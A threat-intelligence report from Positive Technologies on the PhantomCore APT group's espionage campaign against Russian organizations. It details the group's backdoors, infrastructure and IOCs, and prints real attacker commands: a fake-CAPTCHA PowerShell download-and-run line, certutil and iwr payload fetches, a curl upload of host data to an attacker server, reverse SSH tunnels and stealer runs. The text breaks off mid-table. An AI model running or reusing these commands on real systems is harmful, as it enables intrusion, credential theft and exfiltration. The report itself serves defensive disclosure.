PT Expert Security Center

Phantom pains: a large-scale cyberespionage campaign and a possible split within the PhantomCore APT group

Phantom pains: a large-scale cyberespionage campaign and a possible split within the PhantomCore APT group

Authors:

Viktor Kazakov

Viktor Kazakov

Lead Cyberthreat Intelligence Specialist, Positive Technologies Expert Security Center

Key takeaways

Key characteristics of the PhantomCore activity:

  • Extensive malware toolkit: from widely used open-source utilities favored by cybercriminals and updated versions of known in-house tools to previously unseen, custom-built samples
  • Segmented infrastructure and tools: a compromised Russian site, a phishing site with a fake CAPTCHA, payload staging servers, MeshCentral servers, SSH tunnels, and a Phantom control panel
  • Scale and intensity of cyberattacks: from May to July, more than 180 hosts at Russian organizations in critical economic sectors and government were infected
  • Signs of an internal split, with Russian citizens involved in a new offshoot

Introduction

PhantomCore first came to light in early 2024. Over the past year and a half, the group has significantly expanded its offensive arsenal with custom-developed tools and has carried out numerous espionage-focused attacks against Russian critical infrastructure.

Expertise built by the PT ESC's Threat Intelligence team through in-depth tracking of the group, together with internal cyber intelligence systems, enabled rapid detection of PhantomCore activity despite the evolution of its malware. As a result, in early May of this year we identified a new, large-scale cyberespionage campaign targeting Russian organizations.

We mapped the group's key infrastructure, analyzed its updated toolkit, including previously unknown in-house samples, documented the TTPs and attack kill chain, identified victim organizations in Russia whose corporate networks were compromised, and prevented non-tolerable events.

Cyberattack detection

In early May, PT ESC's Threat Intelligence team detected several UPX packed RAT samples delivered by email as ZIP archives—some password protected—named "Документы_на_рассмотрение" ("Documents for review").

Executing the encapsulated LNK file opened a PDF lure and silently extracted, installed, and launched an updated PhantomRAT backdoor controlled from the C2 server at 195.58.54[.]39.

UPX-packed PhantomRAT backdoor
UPX-packed PhantomRAT backdoor
Contents of the LNK file
Contents of the LNK file
PDF lure
PDF lure

The associated threat intelligence, enriched with verdicts from Positive Technologies products, was promptly added to the PT Threat Intelligence Portal knowledge base.

PT ESC verdicts on the PhantomRAT backdoor, 2025
PT ESC verdicts on the PhantomRAT backdoor, 2025

Further analysis of the PhantomCore activity enabled the PT ESC's Threat Intelligence team to fully expose the cyberespionage campaign, quickly feed the intelligence into Positive Technologies products to prevent incidents in client networks, and notify other organizations of compromise.

Network infrastructure analysis

The PhantomCore network infrastructure is strictly segmented by function and by the classes of cyberespionage tools (a detailed breakdown of tools follows in the next section).

PhantomCore network infrastructure
PhantomCore network infrastructure

1.    C2 server of the PhantomRAT backdoor

Used at the Initial Access stage (first cyberattack stage). Collects basic information about the compromised system and sends commands to infected hosts to download from payload staging servers and run the following payload: PhantomTaskShell, PhantomProxyLite, MeshAgent, and RSocx.

Detected URL routes:

  • /connect: establish connection
  • /init: send infected host information
  • /check: connection check
  • /command: receive a command for execution on the infected host
  • /out: return command execution results
URL routes of the PhantomRAT C2 server
URL routes of the PhantomRAT C2 server

Detected server:

195.58.54.39


2.    C2 servers of the PhantomRShell backdoor

Used at the Initial Access stage. Functionality mirrors the PhantomRAT C2 servers: receiving basic information about the compromised system and sending commands to download from payload staging servers and run the following payload on infected hosts: PhantomTaskShell, PhantomProxyLite, MeshAgent, and RSocx.

Detected URL routes:

  • /poll: send infected host information and receive a command
  • /result: send command execution results
URL routes of the PhantomRShell C2 server
URL routes of the PhantomRShell C2 server

Detected servers:

188.127.254.44
91.239.148.21
185.225.17.104


3.    Payload staging servers

Used at the following stages of the cyberattack to host and deliver the following tools to infected hosts:

  • PhantomTaskShell backdoor
  • PhantomProxyLite backdoor
  • PhantomStealer infostealer
  • MeshAgent utility
  • RSocx utility
  • RClone utility
  • XenArmor All-In-One Password Recovery Pro utility

The threat intelligence team identified several PhantomCore payload staging servers:

  • Compromised site

Used during the Persistence and Defense Evasion stages to host PhantomTaskShell, MeshAgent, and RSocx, which operators of the PhantomRAT and PhantomRShell backdoors load onto infected hosts via a direct URL:
 

up https://<redacted>/inetpub.zip C:\ProgramData\inetpub.zip

up https://<redacted>/update.zip C:\ProgramData\update.zip

up https://<redacted>/hosts.zip C:\ProgramData\hosts.zip
Downloading the PhantomTaskShell backdoor from a compromised site into PT Sandbox
Downloading the PhantomTaskShell backdoor from a compromised site into PT Sandbox
Behavioral analysis of the PhantomTaskShell backdoor in PT Sandbox
Behavioral analysis of the PhantomTaskShell backdoor in PT Sandbox
Behavioral analysis of a MeshAgent sample in PT Sandbox
Behavioral analysis of a MeshAgent sample in PT Sandbox
  • VPS hub

A VPS server running Ubuntu with SSH enabled; ports 80 (HTTP) and 443 (HTTPS) toggle from closed to open. According to the threat intelligence team, they're typically opened at the start of the workday, when the group pushes payload to infected hosts.

VPS hub network profile
VPS hub network profile

Used at the Credential Access stage to host PhantomStealer and the XenArmor All In One Password Recovery Pro utility and to deliver them to infected hosts via the PhantomTaskShell backdoor using the direct URL:

iwr -Uri "http://188.127.254.234:80/browser.zip" -OutFile "C:\ProgramData\browser.zip"

certutil.exe -urlcache -f http://188.127.254.234/one.zip C:\\ProgramData\\one.zip


Detected server:

188.127.254.234
  • Phishing site

Registered on the eve of the identified cyberespionage campaign, in April of this year, using the data of a Russian citizen and the email address iseh34228@proton[.]me.

WHOIS data for the phishing domain
WHOIS data for the phishing domain

The site uses the original HTML layout of the official site of the Moscow City Compulsory Medical Insurance Fund and prompts visitors, under the pretext of a fake CAPTCHA challenge, to paste and execute clipboard contents in the Windows command-line interpreter.
 

powershell -WindowStyle Hidden -Command "& {iwr 'https://mgfoms.org/in.php?action=2' -OutFile '%userprofile%\dnsclient.exe'; Start-Process '%userprofile%\dnsclient.exe' -ArgumentList 'run' -WindowStyle Hidden}"

Phishing site with a fake CAPTCHA

Executing the command downloads and covertly launches a MeshAgent instance controlled by the same MeshCentral server at the austolns[.]pw domain as the MeshAgent instance downloaded from the compromised site described above.

MeshAgent instance configuration
MeshAgent instance configuration

Detected phishing site
 

mgfoms.org


4.    PhantomTaskShell C2 servers with the Phantom control panel

VPS servers running Ubuntu with SSH enabled and port 80 (HTTP) open, hosting the Phantom control panel with a web interface for administrator authentication.

Phantom control panel
Phantom control panel

The servers are used at all cyberattack stages after Initial Access to manage infected hosts via the PhantomTaskShell backdoor. They expose an external API to receive commands for execution in the victim's PowerShell and to return results.

Detected URL routes:

  • /login: authentication
  • /api/clients/: register infected host
  • /api/clients/<GUID>/commands: receive commands

The favicon is an image alluding to the PhantomCore name, actually a copy of the first letter from the stylized title of a popular computer game, created from a PNG stencil circulating in the gaming community.

Phantom control panel favicon
Phantom control panel favicon
Original PNG stencil
Original PNG stencil
Official game landing page
Official game landing page

These unique network fingerprints allowed us to spot newly deployed servers running the Phantom control panel, confirm their linkage through shared C2 infrastructure (payload staging servers, proxy servers, aggregators of information about infected hosts), significantly broaden our view of the cyberattack footprint and victims, and feed the resulting intelligence into Positive Technologies products.

Threat intelligence data on the Phantom control panel server in the PT Threat Intelligence Portal
Threat intelligence data on the Phantom control panel server in the PT Threat Intelligence Portal

5.    MeshAgent C2 servers

VPS servers running Ubuntu with MeshCentral (a remote device management platform) installed, as evidenced by TLS certificates on open port 443 (HTTPS).

Network profile of the MeshCentral server with a TLS certificate for austolns[.]pw
Network profile of the MeshCentral server with a TLS certificate for austolns[.]pw
TLS certificate for the MeshCentral server with the austolns[.]pw domain
TLS certificate for the MeshCentral server with the austolns[.]pw domain

Used during the Persistence stage to receive data on infected hosts and control them via MeshAgent instances deployed by PhantomRAT and PhantomRShell operators from compromised or phishing sites.

PhantomCore applies a full set of measures to disguise its MeshCentral servers as legitimate IT infrastructure:

  • Web authentication pages mimicking corporate Mattermost and Nextcloud services
MeshCentral server web interface mimicking Mattermost
MeshCentral server web interface mimicking Mattermost
MeshCentral server web interface mimicking Nextcloud
MeshCentral server web interface mimicking Nextcloud
  • MeshCentral server domains mimicking IT and cybersecurity brands

The MeshCentral servers detected by the threat intelligence group use domains themed around cybersecurity and software development:

nextcloud.soft-trust.com
nextcloud.1cbit.dev
nextcloud.trust-sec.it.com
softline-solutions.cloud


Several domains were registered with the real data of a Russian citizen and the email address emilygrace1981@proton[.]me, which is linked to other PhantomCore IT mimicry domains:

polylab.top
techinnovators.world
blockchaineech.world
agrotech.homes
miucroprocessors.world
cybersedcurity.world
reconfiguratifon.world
telecommuunication.world
interoperaebility.world
  • Impersonation of real Russian IT companies

On port 81 (HTTP), the MeshCentral servers host a landing page with HTML copied from official sites of Russian IT companies.

Impersonation of a Russian IT integrator
Impersonation of a Russian IT integrator

Identified MeshCentral domains and servers:

austolns.pw
nextcloud.soft-trust.com
nextcloud.1cbit.dev
nextcloud.trust-sec.it.com
softline-solutions.cloud

194.87.253.233
213.232.204.110
194.116.215.36
46.8.71.104
217.19.4.206
91.239.148.211


6.    Proxy servers of PhantomProxyLite, RSocx, and SSH tunnels

VPS servers running Ubuntu with ports 80 (HTTP), 443 (HTTPS), and 8080 (HTTP) open, with SSH enabled. They are used during the Persistence, Defense Evasion, and Command and Control stages to create a reverse SSH tunnel into a victim's internal network, masquerading as legitimate HTTPS traffic.

Proxy server network profile
Proxy server network profile

Commands to launch the SSH tunnel executed on infected hosts using the PhantomTaskShell backdoor and Windows Task Scheduler:

ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -o ServerAliveCountMax=15 -f -N -R 37581 -p 443 cfyvg84df17842o@185.130.251.227

schtasks /create /sc DAILY /tn SSH /tr \\"C:\\Windows\\system32\\OpenSSH\\ssh.exe -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -o ServerAliveCountMax=15 -f -N -R 52213 -p 443 cfyvg84df17842o@185.130.251.227\\" /f /st 09:00


SSH sessions on infected hosts are controlled via a control panel operating on network port 80 of the tunneling servers.

Control panel on a server with an SSH tunnel
Control panel on a server with an SSH tunnel

The proxy servers are also used during the Collection and Exfiltration stages as a hub for the RClone utility and the configuration file, which are loaded to infected hosts from the server's 8080 network port using the following commands:

certutil.exe -urlcache -f "http://195.133.32.213:8000/srvhost.exe" "C:\ProgramData\srvhost.exe"

certutil.exe -urlcache -f http://195.133.32.213:8000/wusa.conf C:\ProgramData\wusa.conf


Detected servers:

193.187.174.251
185.130.251.227
195.133.32.213
193.187.174.3
194.116.215.166
185.130.251.219
88.66.89.231
91.219.151.103
91.219.151.59
45.8.228.253
45.158.169.131


7.    Aggregators collecting information on infected hosts

VPS servers running Ubuntu with port 80 (HTTP) open, hosting the backend that collects data on infected hosts. Used during the Discovery stage.

Detected URL routes:

  • /upload: uploading information about the infected host
Network profile of the aggregator server
Network profile of the aggregator server

Command to send infected host information, executed in the Windows command interpreter using the PhantomTaskShell backdoor:

C:\\Windows\\System32\\curl.exe -v -F "file=@C:\\ProgramData\\user_report.txt" -F "destinationPath=./user_report.txt" http://185.130.249.224:80/upload'


Detected server:

185.130.249.224


PhantomCore's malicious infrastructure is notable in that nearly half (48%) of its servers are located in Russia, primarily within the networks of three Russian hosting providers:

  • LLC Smart Ape: AS56694 (28%)
  • Mt Finance LLC: AS214822 (14%)
  • First Server Limited: AS204997 (5%)

19% of the Russian infrastructure cluster resides in the 185.130.248.0/22 subnet. The remaining 52% is hosted abroad, distributed fairly evenly across Finland (9%), France (9%), the Netherlands (9%), the U.S. (5%), Germany (5%), Hong Kong (5%), Moldova (5%), and Poland (5%). Notably, 33% of the entire infrastructure is concentrated on the networks of the Canadian provider CGI Global Limited.

PhantomCore network infrastructure in the PT Threat Intelligence Portal
PhantomCore network infrastructure in the PT Threat Intelligence Portal

Analysis of tools

1.    PhantomRAT

PhantomRAT is a Go written backdoor delivered as a PE executable at the first phase of the cyberattack to gain initial access and download the following payload: PhantomTaskShell, PhantomProxyLite, MeshAgent, and RSocx.

The backdoor does not use persistence techniques on the infected host.

  • Defense Evasion

To detect debugging, virtualization, and analysis tools, PhantomRAT calls the WinAPI function IsDebuggerPresent() and checks the Windows registry keys DriverDesc and SYSTEM\ControlSet001\Services\Disk for the string "vmware".

  • Discovery

PhantomRAT collects the following information on the infected host:

ParameterDescriptionCollection method
hostHost nameCalling the golang function os.Hostname()
userUsernameRetrieving the value of the USERNAME environment variable by calling the golang function os.Getenv()
domainDomainRetrieving the value of the USERDOMAIN environment variable by calling the golang function os.Getenv
local_ipHost IP address on the local networkCalling the golang function net.InterfaceAddrs()
public_ipHost external IP addressSending a request to the external service https://ident.me
  • Command and Control

PhantomRAT checks connectivity to the C2 server:

GET /connect


and sends JSON with host details:
 

POST /init
JSON with information about the infected system
JSON with information about the infected system

Next, PhantomRAT regularly polls the C2 server for commands to execute on the compromised host:

POST /command


The C2 server replies with JSON containing a Response field, which includes the command type (cmd_id) and the command data (cmd_data) to execute on the host.

JSON with information about the command
JSON with information about the command

The command‑type parameter (cmd_id) can take several values:

CommandPurpose
UpDownload a file from a remote host to the hardcoded directory C:\ProgramData\
ExRun the command passed in cmd_data in the Windows command line interpreter as cmd /s /c "<cmd_data> | cmd"
StRun a process on the infected host (for example, a previously downloaded file): cmd.exe /C start "<cmd_data>"

PhantomRAT sends command execution results in a similarly structured JSON object:
 

POST /out
JSON object with the command execution results
JSON object with the command execution results

The PhantomRAT code also includes a function that checks the connection with the C2 server:

POST /check


However, regardless of the outcome, the backdoor doesn't perform any action. This looks like a test function and is likely still under development.

Detected samples:

c34fb316e7b60cff25be9c86e5736b802b9e99b1ac29daa03b08c3435b6ada8c
278f051832c4b2c95ba899d685478bd3430f74d21aea367377cc17788c3a5638
c67cf425d688bba6dbe00e6d86a501f6978664ff99c1811c7104f4a3f4b7e884
31cc62a06720e0c20f03e0cb912bb92b20e5f339ae9c7280b235f63ac35eda9a
9287fd8adc333469eabe655ccf13b78e1abb6e42c0cc6817ae66372fb126a683


Key characteristics:

  • PE executable written in Go
  • No persistence techniques
  • Uses defense evasion techniques
  • Collects a broad range of host information
  • Supports multiple action types on the compromised host
  • No encryption for data being transferred
  • Hardcoded constant: path C:\ProgramData

2.    PhantomRShell

PhantomRShell is a C++ backdoor delivered as a DLL. It's used in the first stage of the cyberattack to gain initial access and to download the following payload: PhantomTaskShell, PhantomProxyLite, MeshAgent, and RSocx.

The backdoor does not implement Persistence or Defense Evasion techniques.

  • Discovery

PhantomRShell uses WinAPI functions to collect the following information about the compromised host:

ParameterDescriptionCollection method
GUIDIdentifierCalling the CoCreateGuid() WinAPI function
hostnameHost nameCalling the GetComputerNameW() WinAPI function
ADDomainCalling the GetComputerNameExW() WinAPI function

In case of an error, the string UNKNOWN is used as a parameter value.

Next, the following working directories are created: C:\ProgramData\YandexCloud or C:\ProgramData\MicrosoftAppStore.

  • Command and Control

In requests to the C2 server, the User-Agent header is set to one of the following:

  • YandexCloud/1.0
  • MicrosoftAppStore/2001.0

PhantomRShell makes three attempts to connect to the C2 server. If all fail, the backdoor sleeps for 10 seconds and retries. Once connected, PhantomRShell transfers host information to the server.

GET /poll?id=<GUID>&hostname=<hostname>&domain=<AD>
User-Agent: YandexCloud/1.0


Next, PhantomRShell receives commands from the C2 server to run on the compromised host, in one of the following formats:

CommandPurpose
cmd:<cmd_data>|<cmd_ID>    

Execute the cmd_data command in the Windows command line interpreter in the form:

cmd.exe /C <cmd_data>

download:< cmd_data >|<cmd_ID>

Download a file from a remote host into one of the previously created directories:

— C:\ProgramData\YandexCloud
— C:\ProgramData\MicrosoftAppStore

The command execution results are returned to the C2 as JSON in the result field. When a command to download a file from a remote host is executed, the result field contains either Download successful:<path> or Download failed, depending on whether the download succeeded:
 

POST /result
User-Agent: YandexCloud/1.0
JSON object with the command execution results
JSON object with the command execution results

Detected samples:

ed9b24a77a74cd34c96b30f8de794fe85eb1d9f188f516bd7d6020cc81a86728
4c78d6bba282aaff0eab749cfa8a28e432f7cbf9c61dec8de8f4800fd27e0314
204544fc8a8cac64bb07825a7bd58c54cb3e605707e2d72206ac23a1657bfe1e
413c9e2963b8cca256d3960285854614e2f2e78dba023713b3dd67af369d5d08
b683235791e3106971269259026e05fdc2a4008f703ff2a4d32642877e57429a
be14fc604c840c3afff9542106c73ed247417de5a56b1e9b2843e7947f0722d9
01f12bb3f4359fae1138a194237914f4fcdbf9e472804e428a765ad820f399be


Key characteristics:

  • Dynamic-link library (DLL) written in C++
  • No persistence techniques
  • No defense evasion techniques
  • Supports multiple action types on the compromised host
  • Collects a broad range of host information
  • No encryption for data being transferred
  • Uses specific User-Agent values
  • Hardcoded constant: C:\ProgramData\YandexCloud
  • Hardcoded constant: path C:\ProgramData\MicrosoftAppStore
  • Impersonates software from Russian IT vendors

3.    PhantomTaskShell

PhantomTaskShell is a PowerShell backdoor used across all post—Initial Access stages of the cyberattack to let operators control infected hosts via the Phantom control panel and to download the following payload: PhantomStealer, OpenSSH, XenArmor All In One Password Recovery Pro, and Rclone.

On first launch, PhantomTaskShell creates update_id.txt on the infected host and writes in it the GUID value generated via the [System.Guid]::NewGuid() function.

For persistence, a Windows Task Scheduler job named SystemAdminAgent_<GUID> that runs PhantomTaskShell for 9,999 days, regardless of power source (battery or AC), is registered on the infected host. On each run, PhantomTaskShell checks for the update_id.txt file containing GUID.

If the update_id.txt file is missing (first run), PhantomTaskShell registers the infected host in the Phantom panel by sending the GUID and the hostname (obtained from the COMPUTERNAME environment variable) to the C2 server:
 

POST /api/clients
JSON object with information about the infected host
JSON object with information about the infected host

Next, PhantomTaskShell polls the Phantom control panel every 60 seconds for commands to execute on the infected host.
 

GET /api/clients/GUID/commands
Command request code
Command request code

The C2 server returns a list where each item starts with "Pending:" followed by the command to run on the infected host.

List of commands obtained from C2
List of commands obtained from C2
Command execution code on the infected host
Command execution code on the infected host

PhantomTaskShell sends the command execution results back to the same URL as JSON.

JSON with the command execution results
JSON with the command execution results

All PhantomTaskShell actions are logged to update.log on the infected host.

Constants in the PhantomTaskShell code
Constants in the PhantomTaskShell code

Detected sample:

9f9acdd833f3fd7b8bf987a8cc17e9456546fdcbcfe80c3b0dfc57c6f62d3e4b


4.    PhantomStealer

PhantomStealer is an infostealer written in Go, used during the Credential Access stage. It targets authentication data saved in Yandex Browser, Google Chrome, and Discord. It isn't an open source utility but contains usage instructions.

Infostealer usage instruction
Infostealer usage instruction

Run settings:

  • program: software to process (Yandex Browser, Google Chrome, or Discord).

Modes of use:

  • -c: export authentication data
  • -d: import authentication data

In export mode, the infostealer extracts, decrypts, and saves authentication data for each supported software to separate files, then packages them into a single ZIP archive:

  • Yandex Browser: yandex-udak64.dat
  • Google Chrome: chromecc16.dat
  • Discord: discord-key.dat

The import function—unusual for infostealers—likely helps PhantomStealer operators deal with the stolen accounts later.

Detected sample:

c3d05d7d6e1c50c6bd493fd5613c3204e6beadf8b6e4915cdf2f899fabf86a4e


5.    PhantomProxyLite

PhantomProxyLite is used at the Persistence and Defense Evasion stages. It sets up an SSH tunnel between the compromised host and the C2 server to maintain reliable access to the victim network.

PhantomProxyLite runs as a background service named SSHService. On first launch, it generates a random reverse port number for the C2 server (greater than 12559), stores it in the Windows registry at HKLM\SOFTWARE\SSHService, and calls it on each start.
In the C:\Windows\Temp directory, a file named config is created with SSH tunneling parameters for routing network traffic to the C2 server.

Writing configuration parameters to a file
Writing configuration parameters to a file

PhantomProxyLite launches ssh.exe on the infected host with settings from the configuration file and the Windows registry, and establishes a reverse SSH tunnel to the proxy server on port 443, disguising malicious traffic as legitimate HTTPS.

Starting the ssh.exe client
Starting the ssh.exe client

Detected samples:

b701272e20db5e485fe8b4f480ed05bcdba88c386d44dc4a17fe9a7b6b9c026b
2611121e4100b60e8644211bdc831144ba8b772d4d40e616864e7a723a9d7bf8
a2be4d9fdba560a4706ff8c4b32f092ef476f203c96e1b4afaf391cfe82aa533


6.    XenArmor All-In-One Password Recovery Pro

XenArmor All In One Password Recovery Pro is a commercial utility for recovering authentication data in Windows operating systems. The utility is used at the Credential Access stage.

XenArmor official site

PhantomCore purchased the utility via a privileged Gold-status account registered on July 16, 2024 at netu@tuta[.]com.

XenArmor license file
XenArmor license file

Two purchases were made from this account: on July 16, 2024, the 2023 version of the utility, observed at the start of the analyzed cyberespionage campaign; and on May 13, 2025, an updated version, likely intended for use in future cyberattacks in 2025–2026.

PhantomCore account
PhantomCore account
Purchase of the utility, 2023
Purchase of the utility, 2023
Purchase of the utility, 2025
Purchase of the utility, 2025

7.    RClone

RClone is an open source utility for synchronizing data between a local computer and cloud storage. Used by PhantomCore at the Exfiltration stage to pull data from infected hosts.

The RClone sample identified by the threat intelligence team, downloaded from one of the group's payload staging servers, corresponds to version 1.69.1 of the utility, as confirmed by a hash sum match between the detected sample and the official repository data.

According to the configuration of the detected sample, PhantomCore uses a Mega[.]nz cloud storage account registered to mariaaa228@proton[.]me for data exfiltration.

RClone configuration file
RClone configuration file

Kill chain, cyberattack TTP

1. Initial Access

Tools:

  • PhantomRAT
  • PhantomRShell

Infrastructure:

195.58.54.39
91.239.148.21
188.127.254.44
185.225.17.104


Backdoors are delivered as polyglot files, using, among other methods, hacked email accounts of legitimate Russian companies.

Malicious email sent from a compromised mailbox carrying a PhantomRShell sample
Malicious email sent from a compromised mailbox carrying a PhantomRShell sample
Detection in the PT Threat Intelligence Portal
Detection in the PT Threat Intelligence Portal

2. Persistence, Defense Evasion

Tools:

  • PhantomTaskShell
  • PhantomProxyLite
  • MeshAgent
  • OpenSSH
  • RSocx

Infrastructure:

austolns.pw
mgfoms.org
nextcloud.soft-trust.com
nextcloud.1cbit.dev
nextcloud.trust-sec.it.com
softline-solutions.cloud

194.87.253.233
213.232.204.110
194.116.215.36
46.8.71.104
217.19.4.206
91.239.148.211
193.187.174.251
185.130.251.227
195.133.32.213
193.187.174.3
194.116.215.166
185.130.251.219
88.66.89.231
188.127.254.234
91.219.151.103
91.219.151.59
45.8.228.253
45.158.169.131


Procedures:

  • Using PhantomRAT or PhantomRShell, download an archive with a MeshAgent sample from one of the group's payload staging servers, extract it, and create a Windows Task Scheduler task for its daily hidden execution at 10:00 a.m.

Downloading MeshAgent from a VPS server

iwr -Uri "http://188.127.254.234:443/remote.zip" -OutFile "C:\ProgramData\remote.zip"

iwr -Uri "http://188.127.254.234:80/dnsclient.zip" -OutFile "C:\ProgramData\dnsclient.zip"

iwr -Uri http://188.127.254.234:80/inetpub.zip -OutFile C:\ProgramData\inetpub.zip

certutil.exe -urlcache -f http://188.127.254.234:80/remote.zip C:\ProgramData\remote.zip


Downloading MeshAgent from a compromised site

up https://<redacted>/inetpub.zip C:\ProgramData\inetpub.zip


Downloading MeshAgent from a phishing site with a fake CAPTCHA

powershell -WindowStyle Hidden -Command "& {iwr 'https://mgfoms.org/in.php?action=2' -OutFile '%userprofile%\dnsclient.exe'; Start-Process '%userprofile%\dnsclient.exe' -ArgumentList 'run' -WindowStyle Hidden}"


Extracting MeshAgent

expand-archive -force -path C:\ProgramData\inetpub.zip -destinationpath C:\ProgramData\

expand-archive -force -path C:\ProgramData\dnsclient.zip -destinationpath C:\ProgramData\


Creating a task in the Windows Task Scheduler

schtasks /create /sc DAILY /tn \"Microsoft Update\" /tr \"C:\ProgramData\YandexCloud\dnsclient.bat\" /mo 1 /st 10:00

schtasks /create /sc DAILY /tn \"Microsoft Update\" /tr \"C:\ProgramData\YandexCloud\dnsclient.bat\" /st 10:00

schtasks /create /sc DAILY /tn \"Microsoft Update\" /tr \"C:\ProgramData\YandexCloud\dnsclient.bat\" /st 10:01 /f

schtasks /create /sc DAILY /tn \"Yandex Update\" /tr \"powershell -WindowStyle Hidden -Command Start-Process 'C:\ProgramData\inetpub.exe' -ArgumentList 'run' -WindowStyle Hidden\" /mo 1 /st 10:00 /ri 5

schtasks /create /sc DAILY /tn DNS /tr \"powershell -WindowStyle Hidden -Command Start-Process 'C:\ProgramData\dnsclient.exe' -ArgumentList 'run' -WindowStyle Hidden\" /f /st 10:00

schtasks /create /sc DAILY /tn DNS /tr \"powershell -WindowStyle Hidden -Command Start-Process 'C:\ProgramData\inetpub.exe' -ArgumentList 'run' -WindowStyle Hidden\" /f /st 10:00
  • Using PhantomRAT or PhantomRShell, the OpenSSH client is downloaded from the official GitHub repository and installed, a reverse SSH tunnel is set up on port 80 (HTTP) or 443 (HTTPS) with passwordless and keyless authentication, and a Windows Task Scheduler task is created to run it daily at 9:00 a.m.

Downloading and installing the OpenSSH client

msiexec /qn /i https://github.com/PowerShell/Win32-OpenSSH/releases/download/v9.8.3.0p2-Preview/OpenSSH-Win64-v9.8.3.0.msi


OpenSSH directory listing

dir "C:\Program Files\OpenSSH"
dir \"C:\Program Files\OpenSSH\"
dir C:\windows\system32\Openssh


Viewing the SSH version

ssh -V


Creating a SSH tunnel

ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -o ServerAliveCountMax=15 -f -N -R 37124 -p 80 vtvvuaweuvefafoewfau9124124615@195.133.32.213

ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -o ServerAliveCountMax=15 -f -N -R 31238 -p 443 vtvvuaweuvefafoewfau9124124615@195.133.32.213

ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -o ServerAliveCountMax=15 -f -N -R 37581 -p 443 cfyvg84df17842o@185.130.251.227


Creating a task in the Windows Task Scheduler

schtasks /create /sc DAILY /tn SSH /tr \"C:\Windows\system32\OpenSSH\ssh.exe -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -o ServerAliveCountMax=15 -f -N -R 52213 -p 443 cfyvg84df17842o@185.130.251.227\" /f /st 09:00

schtasks /create /sc DAILY /tn Update /tr \"'C:\Windows\system32\OpenSSH\ssh.exe' -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -o ServerAliveCountMax=15 -f -N -R 52127 -p 443 cfyvg84df17842o@185.130.251.227\" /st 09:00
  • Using PhantomRAT or PhantomRShell, download an RSocx sample from a compromised legitimate site, extract it, and run it stealthily; establish a network connection to the C2 server on port 443 (HTTPS) or 8080 (HTTP) over the SOCKS5 protocol :

Downloading RSocx

up https://<redacted>/hosts.zip C:\ProgramData\hosts.zip


Extracting RSocx

powershell expand-archive -force -path "C:\\ProgramData\\hosts.zip" -destinationpath "C:\\ProgramData\\"


Starting RSocx

C:\ProgramData\hosts.exe -r 193.187.174.251:443

C:\ProgramData\hosts.exe -r 195.133.32.213:8080

start /B "" "C:\\ProgramData\\hosts.exe -r 193.187.174.251:443"

Start-Process -FilePath "C:\ProgramData\hosts.exe" -ArgumentList "-r 193.187.174.251:443" -NoNewWindow

Start-Process -FilePath \"C:\ProgramData\hosts.exe\" -ArgumentList \"-r 193.187.174.251:443\" -NoNewWindow
  • Using PhantomRAT or PhantomRShell, a PhantomTaskShell sample is downloaded from a compromised site, extracted, and executed on the infected system:

Downloading PhantomTaskShell

up https://<redacted>/update.zip C:\ProgramData\update.zip


Extracting PhantomTaskShell

expand-archive -force -path C:\ProgramData\update.zip -destinationpath C:\ProgramData\


Starting PhantomTaskShell

powershell C:\ProgramData\MicrosoftAppStore\update.ps1
powershell C:\ProgramData\YandexCloud\update.ps1


3. Credential Access

Tools:

  • XenArmor All-In-One Password Recovery Pro
  • PhantomStealer

Infrastructure:

188.127.254.234


Procedures:

  • Using PhantomTaskShell, which receives commands from the Phantom control panel, download the XenArmor All In One Password Recovery Pro utility from a payload staging server, extract, and run it on the infected system with an option to write discovered and recovered authentication data to an HTML file, then remove the utility from the system.

Downloading XenArmor All-In-One Password Recovery Pro

iwr -Uri "http://188.127.254.234:80/one.zip" -OutFile "C:\ProgramData\one.zip"


Extracting the utility

expand-archive -force -path C:\ProgramData\one.zip -destinationpath C:\ProgramData


Starting the utility with results written to an HTML file

C:\ProgramData\XenAllPasswordPro.exe -a C:\ProgramData\<redacted>.html


Deleting the utility

del C:\ProgramData\one.zip
del C:\ProgramData\XenAllPasswordPro.exe
  • Using PhantomTaskShell, which receives commands from the Phantom control panel, download the PhantomStealer sample from a payload staging server, extract it, and run it on the infected system with an option to copy authentication data saved in known web browsers, and remove the infostealer from the system.

Downloading PhantomStealer

iwr -Uri "http://188.127.254.234:80/browser.zip" -OutFile "C:\ProgramData\browser.zip"


Extracting PhantomStealer

expand-archive -force -path C:\ProgramData\browser.zip -destinationpath C:\ProgramData\


Starting PhantomStealer

C:\ProgramData\browser.exe chrome -c
cd C:\ProgramData; .\browser.exe yandex -c


Deleting PhantomStealer

del "C:\ProgramData\browser.exe"


4. Discovery, Lateral Movement

Tools:

  • PhantomTaskShell

Infrastructure:

185.130.249.224


Procedures (executed via the PhantomTaskShell backdoor, which receives tasks from the Phantom control panel):

ProcedureCommand
Obtaining information about local userswhoami 
quser
Obtaining information about Active Directory groups and usersnet user
net user /domain
net user <redacted> /domain
net group /domain
net group \"Domain Admins\" /domain
<redacted>, <redacted> | ForEach-Object { net user $_ /domain }
Collecting OS and file system informationsysteminfo
wmic logicaldisk get caption
Obtaining information about system processes and servicesget-service
tasklist
Analyzing Windows Defender configurationsget-mppreference
Directory listingdir S:\
dir C:\
dir C:\users\<redacted>
dir C:\users\<redacted>\documents
dir C:\users\<redacted>\downloads
dir C:\users\<redacted>\desktop
dir C:\Users\<redacted>\AppData\Roaming
dir C:\ProgramData
dir \"C:\Program Files (x86)\"
pwd
Analyzing the network environment and routing parametersarp -a
ipconfig
route print
nestat -ano
nslookup 127.0.0.1
nslookup <redacted>.ru
ping 10.64.70.172 -n 1
ping <redacted> -n 2
Sending the information about the infected system to the C2 serverC:\Windows\System32\curl.exe -v -F "file=@C:\ProgramData\user_report.txt" -F "destinationPath=./user_report.txt" http://185.130.249.224:80/upload

5. Collection, Exfiltration

Tools:

  • RClone
  • Mega.nz storage

Infrastructure:

195.133.32.213


Procedures:

  • Using PhantomTaskShell, which receives commands from the Phantom control panel, start the certutil.exe utility from Windows Certificate Services with the -urlcache and -f parameters and download an RClone sample and its configuration file from the C2 server on port 8000.
ProcedureCommand
Downloading RClonecertutil.exe -urlcache -f "http://195.133.32.213:8000/srvhost.exe" "C:\ProgramData\srvhost.exe"
